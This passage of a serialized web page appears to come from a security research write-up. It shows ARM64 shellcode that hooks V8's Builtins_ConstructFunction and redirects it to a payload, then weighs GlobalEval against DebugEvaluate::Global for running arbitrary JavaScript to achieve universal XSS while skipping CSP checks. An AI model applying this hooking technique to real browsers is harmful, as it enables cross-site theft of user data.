x15\n",[141269],{"type":24,"tag":154,"props":141270,"children":141271},{"__ignoreMap":7},[141272,141280,141287,141295,141303,141310,141318,141326,141333,141341,141349,141356,141364],{"type":24,"tag":158,"props":141273,"children":141274},{"class":160,"line":161},[141275],{"type":24,"tag":158,"props":141276,"children":141277},{},[141278],{"type":29,"value":141279},"bti c\n",{"type":24,"tag":158,"props":141281,"children":141282},{"class":160,"line":213},[141283],{"type":24,"tag":158,"props":141284,"children":141285},{"emptyLinePlaceholder":16},[141286],{"type":29,"value":481},{"type":24,"tag":158,"props":141288,"children":141289},{"class":160,"line":238},[141290],{"type":24,"tag":158,"props":141291,"children":141292},{},[141293],{"type":29,"value":141294},"// store registers that will be overwritten\n",{"type":24,"tag":158,"props":141296,"children":141297},{"class":160,"line":259},[141298],{"type":24,"tag":158,"props":141299,"children":141300},{},[141301],{"type":29,"value":141302},"stp x15, lr, [sp, #-16]!\n",{"type":24,"tag":158,"props":141304,"children":141305},{"class":160,"line":280},[141306],{"type":24,"tag":158,"props":141307,"children":141308},{"emptyLinePlaceholder":16},[141309],{"type":29,"value":481},{"type":24,"tag":158,"props":141311,"children":141312},{"class":160,"line":301},[141313],{"type":24,"tag":158,"props":141314,"children":141315},{},[141316],{"type":29,"value":141317},"// get current rip into x15\n",{"type":24,"tag":158,"props":141319,"children":141320},{"class":160,"line":626},[141321],{"type":24,"tag":158,"props":141322,"children":141323},{},[141324],{"type":29,"value":141325},"adr x15, .\n",{"type":24,"tag":158,"props":141327,"children":141328},{"class":160,"line":668},[141329],{"type":24,"tag":158,"props":141330,"children":141331},{"emptyLinePlaceholder":16},[141332],{"type":29,"value":481},{"type":24,"tag":158,"props":141334,"children":141335},{"class":160,"line":676},[141336],{"type":24,"tag":158,"props":141337,"children":141338},{},[141339],{"type":29,"value":141340},"// load the uxss_sc pointer saved just above new instructions\n",{"type":24,"tag":158,"props":141342,"children":141343},{"class":160,"line":684},[141344],{"type":24,"tag":158,"props":141345,"children":141346},{},[141347],{"type":29,"value":141348},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":24,"tag":158,"props":141350,"children":141351},{"class":160,"line":700},[141352],{"type":24,"tag":158,"props":141353,"children":141354},{"emptyLinePlaceholder":16},[141355],{"type":29,"value":481},{"type":24,"tag":158,"props":141357,"children":141358},{"class":160,"line":785},[141359],{"type":24,"tag":158,"props":141360,"children":141361},{},[141362],{"type":29,"value":141363},"// jump to uxss_sc\n",{"type":24,"tag":158,"props":141365,"children":141366},{"class":160,"line":1447},[141367],{"type":24,"tag":158,"props":141368,"children":141369},{},[141370],{"type":29,"value":141371},"blr x15\n",{"type":24,"tag":25,"props":141373,"children":141374},{},[141375,141380,141382,141387],{"type":24,"tag":154,"props":141376,"children":141378},{"className":141377},[],[141379],{"type":29,"value":141262},{"type":29,"value":141381}," is the mmap-ed shellcode invoked by the patched ",{"type":24,"tag":154,"props":141383,"children":141385},{"className":141384},[],[141386],{"type":29,"value":140746},{"type":29,"value":141388}," to execute our XSS payload. Its prologue looks like this:",{"type":24,"tag":147,"props":141390,"children":141392},{"code":141391,"language":140799,"meta":7,"className":140800,"style":7},"bti c\n\n// Save full register context\nstp x0, x1, [sp, #-16]!\nstp x2, x3, [sp, #-16]!\nstp x4, x5, [sp, #-16]!\nstp x6, x7, [sp, #-16]!\nstp x8, x9, [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[141393],{"type":24,"tag":154,"props":141394,"children":141395},{"__ignoreMap":7},[141396,141403,141410,141418,141426,141434,141442,141450,141458,141466,141474,141482,141490,141498,141506,141514,141522,141530,141538],{"type":24,"tag":158,"props":141397,"children":141398},{"class":160,"line":161},[141399],{"type":24,"tag":158,"props":141400,"children":141401},{},[141402],{"type":29,"value":141279},{"type":24,"tag":158,"props":141404,"children":141405},{"class":160,"line":213},[141406],{"type":24,"tag":158,"props":141407,"children":141408},{"emptyLinePlaceholder":16},[141409],{"type":29,"value":481},{"type":24,"tag":158,"props":141411,"children":141412},{"class":160,"line":238},[141413],{"type":24,"tag":158,"props":141414,"children":141415},{},[141416],{"type":29,"value":141417},"// Save full register context\n",{"type":24,"tag":158,"props":141419,"children":141420},{"class":160,"line":259},[141421],{"type":24,"tag":158,"props":141422,"children":141423},{},[141424],{"type":29,"value":141425},"stp x0, x1, [sp, #-16]!\n",{"type":24,"tag":158,"props":141427,"children":141428},{"class":160,"line":280},[141429],{"type":24,"tag":158,"props":141430,"children":141431},{},[141432],{"type":29,"value":141433},"stp x2, x3, [sp, #-16]!\n",{"type":24,"tag":158,"props":141435,"children":141436},{"class":160,"line":301},[141437],{"type":24,"tag":158,"props":141438,"children":141439},{},[141440],{"type":29,"value":141441},"stp x4, x5, [sp, #-16]!\n",{"type":24,"tag":158,"props":141443,"children":141444},{"class":160,"line":626},[141445],{"type":24,"tag":158,"props":141446,"children":141447},{},[141448],{"type":29,"value":141449},"stp x6, x7, [sp, #-16]!\n",{"type":24,"tag":158,"props":141451,"children":141452},{"class":160,"line":668},[141453],{"type":24,"tag":158,"props":141454,"children":141455},{},[141456],{"type":29,"value":141457},"stp x8, x9, [sp, #-16]!\n",{"type":24,"tag":158,"props":141459,"children":141460},{"class":160,"line":676},[141461],{"type":24,"tag":158,"props":141462,"children":141463},{},[141464],{"type":29,"value":141465},"stp x10, x11, [sp, #-16]!\n",{"type":24,"tag":158,"props":141467,"children":141468},{"class":160,"line":684},[141469],{"type":24,"tag":158,"props":141470,"children":141471},{},[141472],{"type":29,"value":141473},"stp x12, x13, [sp, #-16]!\n",{"type":24,"tag":158,"props":141475,"children":141476},{"class":160,"line":700},[141477],{"type":24,"tag":158,"props":141478,"children":141479},{},[141480],{"type":29,"value":141481},"stp x14, x15, [sp, #-16]!\n",{"type":24,"tag":158,"props":141483,"children":141484},{"class":160,"line":785},[141485],{"type":24,"tag":158,"props":141486,"children":141487},{},[141488],{"type":29,"value":141489},"stp x16, x17, [sp, #-16]!\n",{"type":24,"tag":158,"props":141491,"children":141492},{"class":160,"line":1447},[141493],{"type":24,"tag":158,"props":141494,"children":141495},{},[141496],{"type":29,"value":141497},"stp x18, x19, [sp, #-16]!\n",{"type":24,"tag":158,"props":141499,"children":141500},{"class":160,"line":1509},[141501],{"type":24,"tag":158,"props":141502,"children":141503},{},[141504],{"type":29,"value":141505},"stp x20, x21, [sp, #-16]!\n",{"type":24,"tag":158,"props":141507,"children":141508},{"class":160,"line":1527},[141509],{"type":24,"tag":158,"props":141510,"children":141511},{},[141512],{"type":29,"value":141513},"stp x22, x23, [sp, #-16]!\n",{"type":24,"tag":158,"props":141515,"children":141516},{"class":160,"line":1545},[141517],{"type":24,"tag":158,"props":141518,"children":141519},{},[141520],{"type":29,"value":141521},"stp x24, x25, [sp, #-16]!\n",{"type":24,"tag":158,"props":141523,"children":141524},{"class":160,"line":1618},[141525],{"type":24,"tag":158,"props":141526,"children":141527},{},[141528],{"type":29,"value":141529},"stp x26, x27, [sp, #-16]!\n",{"type":24,"tag":158,"props":141531,"children":141532},{"class":160,"line":1635},[141533],{"type":24,"tag":158,"props":141534,"children":141535},{},[141536],{"type":29,"value":141537},"stp x28, x29, [sp, #-16]!\n",{"type":24,"tag":158,"props":141539,"children":141540},{"class":160,"line":1644},[141541],{"type":24,"tag":158,"props":141542,"children":141543},{},[141544],{"type":29,"value":141545},"str lr, [sp, #-16]!\n",{"type":24,"tag":25,"props":141547,"children":141548},{},[141549],{"type":29,"value":141550},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":24,"tag":25,"props":141552,"children":141553},{},[141554,141556,141561],{"type":29,"value":141555},"The epilogue restores all saved registers, restores the original instructions in ",{"type":24,"tag":154,"props":141557,"children":141559},{"className":141558},[],[141560],{"type":29,"value":140746},{"type":29,"value":141562},", and then returns execution to its beginning:",{"type":24,"tag":147,"props":141564,"children":141566},{"code":141565,"language":140799,"meta":7,"className":140800,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8, x9, [sp], #16\nldp x6, x7, [sp], #16\nldp x4, x5, [sp], #16\nldp x2, x3, [sp], #16\nldp x0, x1, [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[141567],{"type":24,"tag":154,"props":141568,"children":141569},{"__ignoreMap":7},[141570,141578,141586,141594,141602,141610,141617,141624,141632,141639,141646,141654,141662,141670,141678,141686,141694,141702,141710,141718,141726,141734,141742,141750,141758,141766,141774,141781,141789,141797,141805,141813,141821,141828,141836,141844,141851],{"type":24,"tag":158,"props":141571,"children":141572},{"class":160,"line":161},[141573],{"type":24,"tag":158,"props":141574,"children":141575},{},[141576],{"type":29,"value":141577},"// restore original instructions of Builtins_ConstructFunction\n",{"type":24,"tag":158,"props":141579,"children":141580},{"class":160,"line":213},[141581],{"type":24,"tag":158,"props":141582,"children":141583},{},[141584],{"type":29,"value":141585},"ldr lr, [sp], #16\n",{"type":24,"tag":158,"props":141587,"children":141588},{"class":160,"line":238},[141589],{"type":24,"tag":158,"props":141590,"children":141591},{},[141592],{"type":29,"value":141593},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":24,"tag":158,"props":141595,"children":141596},{"class":160,"line":259},[141597],{"type":24,"tag":158,"props":141598,"children":141599},{},[141600],{"type":29,"value":141601},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":24,"tag":158,"props":141603,"children":141604},{"class":160,"line":280},[141605],{"type":24,"tag":158,"props":141606,"children":141607},{},[141608],{"type":29,"value":141609},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":24,"tag":158,"props":141611,"children":141612},{"class":160,"line":301},[141613],{"type":24,"tag":158,"props":141614,"children":141615},{"emptyLinePlaceholder":16},[141616],{"type":29,"value":481},{"type":24,"tag":158,"props":141618,"children":141619},{"class":160,"line":626},[141620],{"type":24,"tag":158,"props":141621,"children":141622},{},[141623],{"type":29,"value":141152},{"type":24,"tag":158,"props":141625,"children":141626},{"class":160,"line":668},[141627],{"type":24,"tag":158,"props":141628,"children":141629},{},[141630],{"type":29,"value":141631},"mov x0, lr\n",{"type":24,"tag":158,"props":141633,"children":141634},{"class":160,"line":676},[141635],{"type":24,"tag":158,"props":141636,"children":141637},{},[141638],{"type":29,"value":141168},{"type":24,"tag":158,"props":141640,"children":141641},{"class":160,"line":684},[141642],{"type":24,"tag":158,"props":141643,"children":141644},{"emptyLinePlaceholder":16},[141645],{"type":29,"value":481},{"type":24,"tag":158,"props":141647,"children":141648},{"class":160,"line":700},[141649],{"type":24,"tag":158,"props":141650,"children":141651},{},[141652],{"type":29,"value":141653},"// restore original registers\n",{"type":24,"tag":158,"props":141655,"children":141656},{"class":160,"line":785},[141657],{"type":24,"tag":158,"props":141658,"children":141659},{},[141660],{"type":29,"value":141661},"ldp x28, x29, [sp], #16\n",{"type":24,"tag":158,"props":141663,"children":141664},{"class":160,"line":1447},[141665],{"type":24,"tag":158,"props":141666,"children":141667},{},[141668],{"type":29,"value":141669},"ldp x26, x27, [sp], #16\n",{"type":24,"tag":158,"props":141671,"children":141672},{"class":160,"line":1509},[141673],{"type":24,"tag":158,"props":141674,"children":141675},{},[141676],{"type":29,"value":141677},"ldp x24, x25, [sp], #16\n",{"type":24,"tag":158,"props":141679,"children":141680},{"class":160,"line":1527},[141681],{"type":24,"tag":158,"props":141682,"children":141683},{},[141684],{"type":29,"value":141685},"ldp x22, x23, [sp], #16\n",{"type":24,"tag":158,"props":141687,"children":141688},{"class":160,"line":1545},[141689],{"type":24,"tag":158,"props":141690,"children":141691},{},[141692],{"type":29,"value":141693},"ldp x20, x21, [sp], #16\n",{"type":24,"tag":158,"props":141695,"children":141696},{"class":160,"line":1618},[141697],{"type":24,"tag":158,"props":141698,"children":141699},{},[141700],{"type":29,"value":141701},"ldp x18, x19, [sp], #16\n",{"type":24,"tag":158,"props":141703,"children":141704},{"class":160,"line":1635},[141705],{"type":24,"tag":158,"props":141706,"children":141707},{},[141708],{"type":29,"value":141709},"ldp x16, x17, [sp], #16\n",{"type":24,"tag":158,"props":141711,"children":141712},{"class":160,"line":1644},[141713],{"type":24,"tag":158,"props":141714,"children":141715},{},[141716],{"type":29,"value":141717},"ldp x14, x15, [sp], #16\n",{"type":24,"tag":158,"props":141719,"children":141720},{"class":160,"line":1652},[141721],{"type":24,"tag":158,"props":141722,"children":141723},{},[141724],{"type":29,"value":141725},"ldp x12, x13, [sp], #16\n",{"type":24,"tag":158,"props":141727,"children":141728},{"class":160,"line":1704},[141729],{"type":24,"tag":158,"props":141730,"children":141731},{},[141732],{"type":29,"value":141733},"ldp x10, x11, [sp], #16\n",{"type":24,"tag":158,"props":141735,"children":141736},{"class":160,"line":1713},[141737],{"type":24,"tag":158,"props":141738,"children":141739},{},[141740],{"type":29,"value":141741},"ldp x8, x9, [sp], #16\n",{"type":24,"tag":158,"props":141743,"children":141744},{"class":160,"line":1731},[141745],{"type":24,"tag":158,"props":141746,"children":141747},{},[141748],{"type":29,"value":141749},"ldp x6, x7, [sp], #16\n",{"type":24,"tag":158,"props":141751,"children":141752},{"class":160,"line":5485},[141753],{"type":24,"tag":158,"props":141754,"children":141755},{},[141756],{"type":29,"value":141757},"ldp x4, x5, [sp], #16\n",{"type":24,"tag":158,"props":141759,"children":141760},{"class":160,"line":5493},[141761],{"type":24,"tag":158,"props":141762,"children":141763},{},[141764],{"type":29,"value":141765},"ldp x2, x3, [sp], #16\n",{"type":24,"tag":158,"props":141767,"children":141768},{"class":160,"line":5553},[141769],{"type":24,"tag":158,"props":141770,"children":141771},{},[141772],{"type":29,"value":141773},"ldp x0, x1, [sp], #16\n",{"type":24,"tag":158,"props":141775,"children":141776},{"class":160,"line":10636},[141777],{"type":24,"tag":158,"props":141778,"children":141779},{"emptyLinePlaceholder":16},[141780],{"type":29,"value":481},{"type":24,"tag":158,"props":141782,"children":141783},{"class":160,"line":10652},[141784],{"type":24,"tag":158,"props":141785,"children":141786},{},[141787],{"type":29,"value":141788},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":24,"tag":158,"props":141790,"children":141791},{"class":160,"line":10696},[141792],{"type":24,"tag":158,"props":141793,"children":141794},{},[141795],{"type":29,"value":141796},"// it immediately, so we can clobber and use it as a return register.\n",{"type":24,"tag":158,"props":141798,"children":141799},{"class":160,"line":10801},[141800],{"type":24,"tag":158,"props":141801,"children":141802},{},[141803],{"type":29,"value":141804},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":24,"tag":158,"props":141806,"children":141807},{"class":160,"line":24754},[141808],{"type":24,"tag":158,"props":141809,"children":141810},{},[141811],{"type":29,"value":141812},"// where to return\n",{"type":24,"tag":158,"props":141814,"children":141815},{"class":160,"line":24789},[141816],{"type":24,"tag":158,"props":141817,"children":141818},{},[141819],{"type":29,"value":141820},"mov x4, lr\n",{"type":24,"tag":158,"props":141822,"children":141823},{"class":160,"line":24797},[141824],{"type":24,"tag":158,"props":141825,"children":141826},{"emptyLinePlaceholder":16},[141827],{"type":29,"value":481},{"type":24,"tag":158,"props":141829,"children":141830},{"class":160,"line":24805},[141831],{"type":24,"tag":158,"props":141832,"children":141833},{},[141834],{"type":29,"value":141835},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":24,"tag":158,"props":141837,"children":141838},{"class":160,"line":24814},[141839],{"type":24,"tag":158,"props":141840,"children":141841},{},[141842],{"type":29,"value":141843},"ldp x15, lr, [sp], #16\n",{"type":24,"tag":158,"props":141845,"children":141846},{"class":160,"line":24856},[141847],{"type":24,"tag":158,"props":141848,"children":141849},{"emptyLinePlaceholder":16},[141850],{"type":29,"value":481},{"type":24,"tag":158,"props":141852,"children":141853},{"class":160,"line":24889},[141854],{"type":24,"tag":158,"props":141855,"children":141856},{},[141857],{"type":29,"value":141858},"ret x4\n",{"type":24,"tag":25,"props":141860,"children":141861},{},[141862,141864,141869,141871,141876,141878,141884],{"type":29,"value":141863},"At this point, we have successfully hooked ",{"type":24,"tag":154,"props":141865,"children":141867},{"className":141866},[],[141868],{"type":29,"value":140746},{"type":29,"value":141870}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":24,"tag":154,"props":141872,"children":141874},{"className":141873},[],[141875],{"type":29,"value":141262},{"type":29,"value":141877}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":24,"tag":154,"props":141879,"children":141881},{"className":141880},[],[141882],{"type":29,"value":141883},"Builtins_GlobalEval",{"type":29,"value":347},{"type":24,"tag":25,"props":141886,"children":141887},{},[141888,141893,141895,141900,141902,141907],{"type":24,"tag":154,"props":141889,"children":141891},{"className":141890},[],[141892],{"type":29,"value":141883},{"type":29,"value":141894}," takes a single ",{"type":24,"tag":154,"props":141896,"children":141898},{"className":141897},[],[141899],{"type":29,"value":49197},{"type":29,"value":141901}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":24,"tag":154,"props":141903,"children":141905},{"className":141904},[],[141906],{"type":29,"value":38812},{"type":29,"value":225},{"type":24,"tag":147,"props":141909,"children":141911},{"code":141910,"language":30371,"meta":7,"className":30369,"style":7},"BUILTIN(GlobalEval) {\n [...]\n\n if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n return ReadOnlyRoots(isolate).undefined_value();\n }\n",[141912],{"type":24,"tag":154,"props":141913,"children":141914},{"__ignoreMap":7},[141915,141928,141935,141942,141985,142007,142033],{"type":24,"tag":158,"props":141916,"children":141917},{"class":160,"line":161},[141918,141923],{"type":24,"tag":158,"props":141919,"children":141920},{"style":496},[141921],{"type":29,"value":141922},"BUILTIN",{"type":24,"tag":158,"props":141924,"children":141925},{"style":188},[141926],{"type":29,"value":141927},"(GlobalEval) {\n",{"type":24,"tag":158,"props":141929,"children":141930},{"class":160,"line":213},[141931],{"type":24,"tag":158,"props":141932,"children":141933},{"style":188},[141934],{"type":29,"value":128431},{"type":24,"tag":158,"props":141936,"children":141937},{"class":160,"line":238},[141938],{"type":24,"tag":158,"props":141939,"children":141940},{"emptyLinePlaceholder":16},[141941],{"type":29,"value":481},{"type":24,"tag":158,"props":141943,"children":141944},{"class":160,"line":259},[141945,141950,141955,141959,141964,141968,141972,141976,141981],{"type":24,"tag":158,"props":141946,"children":141947},{"style":188},[141948],{"type":29,"value":141949}," if (!Builtins::",{"type":24,"tag":158,"props":141951,"children":141952},{"style":171},[141953],{"type":29,"value":141954},"AllowDynamicFunction",{"type":24,"tag":158,"props":141956,"children":141957},{"style":188},[141958],{"type":29,"value":504},{"type":24,"tag":158,"props":141960,"children":141961},{"style":171},[141962],{"type":29,"value":141963},"isolate",{"type":24,"tag":158,"props":141965,"children":141966},{"style":188},[141967],{"type":29,"value":191},{"type":24,"tag":158,"props":141969,"children":141970},{"style":171},[141971],{"type":29,"value":116356},{"type":24,"tag":158,"props":141973,"children":141974},{"style":188},[141975],{"type":29,"value":191},{"type":24,"tag":158,"props":141977,"children":141978},{"style":171},[141979],{"type":29,"value":141980},"target_global_proxy",{"type":24,"tag":158,"props":141982,"children":141983},{"style":188},[141984],{"type":29,"value":36457},{"type":24,"tag":158,"props":141986,"children":141987},{"class":160,"line":280},[141988,141993,141997,142002],{"type":24,"tag":158,"props":141989,"children":141990},{"style":177},[141991],{"type":29,"value":141992}," isolate",{"type":24,"tag":158,"props":141994,"children":141995},{"style":188},[141996],{"type":29,"value":14991},{"type":24,"tag":158,"props":141998,"children":141999},{"style":496},[142000],{"type":29,"value":142001},"CountUsage",{"type":24,"tag":158,"props":142003,"children":142004},{"style":188},[142005],{"type":29,"value":142006},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":24,"tag":158,"props":142008,"children":142009},{"class":160,"line":301},[142010,142014,142019,142024,142029],{"type":24,"tag":158,"props":142011,"children":142012},{"style":1914},[142013],{"type":29,"value":18227},{"type":24,"tag":158,"props":142015,"children":142016},{"style":496},[142017],{"type":29,"value":142018}," ReadOnlyRoots",{"type":24,"tag":158,"props":142020,"children":142021},{"style":188},[142022],{"type":29,"value":142023},"(isolate).",{"type":24,"tag":158,"props":142025,"children":142026},{"style":496},[142027],{"type":29,"value":142028},"undefined_value",{"type":24,"tag":158,"props":142030,"children":142031},{"style":188},[142032],{"type":29,"value":5329},{"type":24,"tag":158,"props":142034,"children":142035},{"class":160,"line":626},[142036],{"type":24,"tag":158,"props":142037,"children":142038},{"style":188},[142039],{"type":29,"value":4366},{"type":24,"tag":25,"props":142041,"children":142042},{},[142043,142045,142050],{"type":29,"value":142044},"This means we would need to patch the function further to ensure it never enters this ",{"type":24,"tag":154,"props":142046,"children":142048},{"className":142047},[],[142049],{"type":29,"value":16815},{"type":29,"value":142051}," block.",{"type":24,"tag":25,"props":142053,"children":142054},{},[142055],{"type":29,"value":142056},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":24,"tag":147,"props":142058,"children":142060},{"code":142059,"language":30371,"meta":7,"className":30369,"style":7},"BUILTIN(GlobalEval) {\n\n [...]\n\n DirectHandle\u003CJSFunction> function;\n ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n isolate, function,\n Compiler::GetFunctionFromValidatedString(\n direct_handle(target->native_context(), isolate), source,\n NO_PARSE_RESTRICTION, kNoSourcePosition));\n RETURN_RESULT_OR_FAILURE(\n isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[142061],{"type":24,"tag":154,"props":142062,"children":142063},{"__ignoreMap":7},[142064,142075,142082,142089,142096,142104,142116,142124,142141,142171,142179,142191],{"type":24,"tag":158,"props":142065,"children":142066},{"class":160,"line":161},[142067,142071],{"type":24,"tag":158,"props":142068,"children":142069},{"style":496},[142070],{"type":29,"value":141922},{"type":24,"tag":158,"props":142072,"children":142073},{"style":188},[142074],{"type":29,"value":141927},{"type":24,"tag":158,"props":142076,"children":142077},{"class":160,"line":213},[142078],{"type":24,"tag":158,"props":142079,"children":142080},{"emptyLinePlaceholder":16},[142081],{"type":29,"value":481},{"type":24,"tag":158,"props":142083,"children":142084},{"class":160,"line":238},[142085],{"type":24,"tag":158,"props":142086,"children":142087},{"style":188},[142088],{"type":29,"value":128431},{"type":24,"tag":158,"props":142090,"children":142091},{"class":160,"line":259},[142092],{"type":24,"tag":158,"props":142093,"children":142094},{"emptyLinePlaceholder":16},[142095],{"type":29,"value":481},{"type":24,"tag":158,"props":142097,"children":142098},{"class":160,"line":280},[142099],{"type":24,"tag":158,"props":142100,"children":142101},{"style":188},[142102],{"type":29,"value":142103}," DirectHandle\u003CJSFunction> function;\n",{"type":24,"tag":158,"props":142105,"children":142106},{"class":160,"line":301},[142107,142112],{"type":24,"tag":158,"props":142108,"children":142109},{"style":496},[142110],{"type":29,"value":142111}," ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":24,"tag":158,"props":142113,"children":142114},{"style":188},[142115],{"type":29,"value":2156},{"type":24,"tag":158,"props":142117,"children":142118},{"class":160,"line":626},[142119],{"type":24,"tag":158,"props":142120,"children":142121},{"style":188},[142122],{"type":29,"value":142123}," isolate, function,\n",{"type":24,"tag":158,"props":142125,"children":142126},{"class":160,"line":668},[142127,142132,142137],{"type":24,"tag":158,"props":142128,"children":142129},{"style":188},[142130],{"type":29,"value":142131}," Compiler::",{"type":24,"tag":158,"props":142133,"children":142134},{"style":496},[142135],{"type":29,"value":142136},"GetFunctionFromValidatedString",{"type":24,"tag":158,"props":142138,"children":142139},{"style":188},[142140],{"type":29,"value":2156},{"type":24,"tag":158,"props":142142,"children":142143},{"class":160,"line":676},[142144,142149,142153,142157,142161,142166],{"type":24,"tag":158,"props":142145,"children":142146},{"style":496},[142147],{"type":29,"value":142148}," direct_handle",{"type":24,"tag":158,"props":142150,"children":142151},{"style":188},[142152],{"type":29,"value":504},{"type":24,"tag":158,"props":142154,"children":142155},{"style":177},[142156],{"type":29,"value":116356},{"type":24,"tag":158,"props":142158,"children":142159},{"style":188},[142160],{"type":29,"value":14991},{"type":24,"tag":158,"props":142162,"children":142163},{"style":496},[142164],{"type":29,"value":142165},"native_context",{"type":24,"tag":158,"props":142167,"children":142168},{"style":188},[142169],{"type":29,"value":142170},"(), isolate), source,\n",{"type":24,"tag":158,"props":142172,"children":142173},{"class":160,"line":684},[142174],{"type":24,"tag":158,"props":142175,"children":142176},{"style":188},[142177],{"type":29,"value":142178}," NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":24,"tag":158,"props":142180,"children":142181},{"class":160,"line":700},[142182,142187],{"type":24,"tag":158,"props":142183,"children":142184},{"style":496},[142185],{"type":29,"value":142186}," RETURN_RESULT_OR_FAILURE",{"type":24,"tag":158,"props":142188,"children":142189},{"style":188},[142190],{"type":29,"value":2156},{"type":24,"tag":158,"props":142192,"children":142193},{"class":160,"line":785},[142194,142199,142204],{"type":24,"tag":158,"props":142195,"children":142196},{"style":188},[142197],{"type":29,"value":142198}," isolate, Execution::",{"type":24,"tag":158,"props":142200,"children":142201},{"style":496},[142202],{"type":29,"value":142203},"Call",{"type":24,"tag":158,"props":142205,"children":142206},{"style":188},[142207],{"type":29,"value":142208},"(isolate, function, target_global_proxy, {}));\n",{"type":24,"tag":25,"props":142210,"children":142211},{},[142212,142214,142219,142221,142227,142229,142235,142237,142243],{"type":29,"value":142213},"But determining the correct ",{"type":24,"tag":154,"props":142215,"children":142217},{"className":142216},[],[142218],{"type":29,"value":116356},{"type":29,"value":142220}," value, obtaining ",{"type":24,"tag":154,"props":142222,"children":142224},{"className":142223},[],[142225],{"type":29,"value":142226},"target->native_context()",{"type":29,"value":142228},", and locating the ",{"type":24,"tag":154,"props":142230,"children":142232},{"className":142231},[],[142233],{"type":29,"value":142234},"direct_handle",{"type":29,"value":142236}," function, just to make a proper call to ",{"type":24,"tag":154,"props":142238,"children":142240},{"className":142239},[],[142241],{"type":29,"value":142242},"Compiler::GetFunctionFromValidatedString",{"type":29,"value":142244},", seemed unnecessarily cumbersome.",{"type":24,"tag":25,"props":142246,"children":142247},{},[142248,142250,142256],{"type":29,"value":142249},"Instead, we found a much simpler option with no security checks: ",{"type":24,"tag":154,"props":142251,"children":142253},{"className":142252},[],[142254],{"type":29,"value":142255},"DebugEvaluate::Global",{"type":29,"value":142257},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":24,"tag":25,"props":142259,"children":142260},{},[142261],{"type":29,"value":142262},"For our needs, it is straightforward to call:",{"type":24,"tag":147,"props":142264,"children":142266},{"code":142265,"language":30371,"meta":7,"className":30369,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n Handle\u003CString> source,\n debug::EvaluateGlobalMode mode,\n REPLMode repl_mode);\n",[142267],{"type":24,"tag":154,"props":142268,"children":142269},{"__ignoreMap":7},[142270,142318,142347,142368],{"type":24,"tag":158,"props":142271,"children":142272},{"class":160,"line":161},[142273,142278,142282,142286,142291,142296,142300,142305,142309,142314],{"type":24,"tag":158,"props":142274,"children":142275},{"style":171},[142276],{"type":29,"value":142277},"MaybeDirectHandle",{"type":24,"tag":158,"props":142279,"children":142280},{"style":188},[142281],{"type":29,"value":3760},{"type":24,"tag":158,"props":142283,"children":142284},{"style":171},[142285],{"type":29,"value":50122},{"type":24,"tag":158,"props":142287,"children":142288},{"style":188},[142289],{"type":29,"value":142290},"> DebugEvaluate::",{"type":24,"tag":158,"props":142292,"children":142293},{"style":496},[142294],{"type":29,"value":142295},"Global",{"type":24,"tag":158,"props":142297,"children":142298},{"style":188},[142299],{"type":29,"value":504},{"type":24,"tag":158,"props":142301,"children":142302},{"style":171},[142303],{"type":29,"value":142304},"Isolate",{"type":24,"tag":158,"props":142306,"children":142307},{"style":165},[142308],{"type":29,"value":577},{"type":24,"tag":158,"props":142310,"children":142311},{"style":177},[142312],{"type":29,"value":142313}," isolate",{"type":24,"tag":158,"props":142315,"children":142316},{"style":188},[142317],{"type":29,"value":235},{"type":24,"tag":158,"props":142319,"children":142320},{"class":160,"line":213},[142321,142326,142330,142334,142338,142343],{"type":24,"tag":158,"props":142322,"children":142323},{"style":171},[142324],{"type":29,"value":142325}," 